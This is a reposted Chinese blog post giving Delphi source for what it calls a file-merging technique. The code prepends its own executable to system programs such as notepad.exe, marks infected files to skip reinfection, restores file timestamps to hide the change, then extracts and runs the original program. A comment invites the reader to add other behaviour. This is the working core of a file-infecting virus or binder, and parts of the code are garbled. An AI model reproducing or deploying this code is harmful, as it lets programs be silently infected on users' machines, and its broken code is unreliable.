檔案合併新思路(附完整DELPHI程式碼) (轉)
合併新思路
(襄樊 官本和 2001.9.28)
program exe2;
uses
classes,
Tlhelp32,
,
SysUtils;
{$R *.RES}
var
lppe:TProcessEntry32;
found:boolean;
handle:THandle;
ProcessStr,ExeName:string;
WinDir:pchar;
const
MySize=64000; {根據編譯或後的檔案大小進行修改}
procedure copy2(s:string);
var
s1,s2:TMemoryStream;
files2:TFilestream;
ch:array[0..3] of char;
ss:string;
filetime,fhandle:integer;
begin
{若檔案s不存在}
if FileExists(s)=False then exit;
try
{判斷檔案s中有沒有特殊標記。若有,表示已經合併過
在本編譯或壓縮後,用十六進位制進行修改,在偏移200處加入標記'IMOK'
用de也可進行修改(對exe檔案,要先更改EXE副檔名)。例:
-e 1C8
127D:01C8 00._ ......
-w files2:=TFilestream.Create(s,fmopenread);
files2.Position:=200;
files2.Read(ch,4);
ss:=copy(ch,1,4);
files2.Free;
if ss='IMOK' then exit;
{將本檔案與檔案s合併 本檔案+s=s}
s2:=TMemoryStream.Create;
s2.loadfromfile(ExeName);
s1:=TMemoryStream.Create;
s1.copyfrom(s2,MySize);
s2.clear;
s2.loadfromfile(s);
s1.seek(s1.size,soFromBeginning);
s1.copyfrom(s2,s2.size);
s2.free;
{得到檔案s的日期}
fhandle:=FileOpen(s, fmOpenread);
filetime:=filegetdate(fhandle);
fileclose(fhandle);
s1.SaveToFile(s);
{恢復檔案s的日期}
fhandle:=FileOpen(s, fmOpenwrite);
filesetdate(fhandle,filetime);
fileclose(fhandle);
s1.free;
except end;
end;
procedure CreateFileAndRun;
var
s1,s2:TMemoryStream;
TempDir:pchar;
cmdstr:string;
a:integer;
Begin
s1:=TMemoryStream.Create;
s1.loadfromfile(ExeName);
if s1.Size=MySize then
begin
s1.Free;
exit;
end;
s1.seek(MySize,soFromBeginning);
s2:=TMemoryStream.Create;
s2.copyfrom(s1,s1.Size-MySize);
GetMem(TempDir,255);
GetTempPath(255,TempDir);
s2.SaveToFile(TempDir+''+ExtractFileName(ExeName));
cmdstr:='';
a:=1;
while ParamStr(a)<>'' do begin
cmdstr:=cmdstr+ParamStr(a)+' ';
inc(a);
end;
winexec(pchar(TempDir+''+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
freemem(TempDir);
s2.free;
s1.free;
end;
begin
GetMem(WinDir,255);
GetWindowsDirectory(WinDir,255);
ExeName:=ParamStr(0);
handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
found:=Process32First(handle,lppe);
ProcessStr:='';
while found do
begin
ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有程式}
found:=Process32Next(handle,lppe);
end;
if pos(WinDir+'notepad.exe',ProcessStr)=0 then
begin
copy2(WinDir+'notepad.exe');
end;
{其它需要合併的檔案
if pos(...,ProcessStr)=0 then
begin
copy2(...);
end;
...
}
freemem(WinDir);
{
你想用這個程式乾點其它的什麼...
}
CreateFileAndRun;{釋放檔案並帶引數執行}
end.
{
E-: .com.cn">guanbenhe@peoplemail.com.cn
21cn@sohu.com">delphi21cn@sohu.com
homepage: ">
}
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-990225/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- Linux下合併檔案Linux
- PE結構-合併節(附例項程式碼)
- Python之合併PDF檔案Python
- git合併分支,如果選擇性的合併檔案?Git
- linux檔案合併、去重、拆分Linux
- Python合併多個csv檔案Python
- 資料檔案合併與拆分
- shell 檔案合併 去重 分割
- java快速分割及合併檔案Java
- PHP 圖片的合併,微信小程式碼合併,文字合併PHP微信小程式
- 辦公自動化:PDF檔案合併器,將多個PDF檔案進行合併
- 多個 EXCEL 檔案如何合併成一個檔案Excel
- 合併PDF檔案怎樣做?分享兩種PDF合併方法
- 基於檔案的表合併及行轉列實現參考
- 多個excel檔案合併成一個excel表的方法 如何快速合併多個excel檔案Excel
- 一款免費使用的PDF檔案批次合併工具,可操作pdf檔案順序,按順序合併pdf檔案。
- 一款免費使用的PDF檔案批量合併工具,可操作pdf檔案順序,按順序合併pdf檔案。
- PDF多檔案合併怎麼完成?PDF合併的簡單方法分享
- Hive表小檔案合併方法總結Hive
- git合併單個檔案到其他分支Git
- Git 合併指定檔案或資料夾Git
- iceberg合併小檔案衝突測試
- pdf檔案合併工具(abelssoft easy pdf 2020)
- 檢測檔案編碼,轉換檔案編碼
- delphi清理txt檔案多餘的空格
- 從Delphi到Lazarus——Delphi轉換器
- Pandas之EXCEL資料讀取/儲存/檔案分割/檔案合併Excel
- Spark優化之小檔案是否需要合併?Spark優化
- 第3篇 :git 首次建立專案上傳,程式碼合併操作Git
- PDF轉換器可以做到PDF轉Office,TXT,HTM,PDF檔案;PDF合併拆分,壓縮,加密解密!加密解密
- Objective-C檔案組織介紹(附程式碼)Object
- 如何在 Acrobat Pro DC 與其它檔案合併建立單個 PDF 檔案?BAT
- 檔案完整性
- Python合併多個Excel檔案中的指定sheetPythonExcel
- VBA遍歷 Excel 合併到一個 Excel 檔案Excel
- HDFS 07 - HDFS 效能調優之 合併小檔案
- 對pdf檔案批量重新命名,便於合併
- JPG學習筆記2(附完整程式碼)筆記
- JPG學習筆記1(附完整程式碼)筆記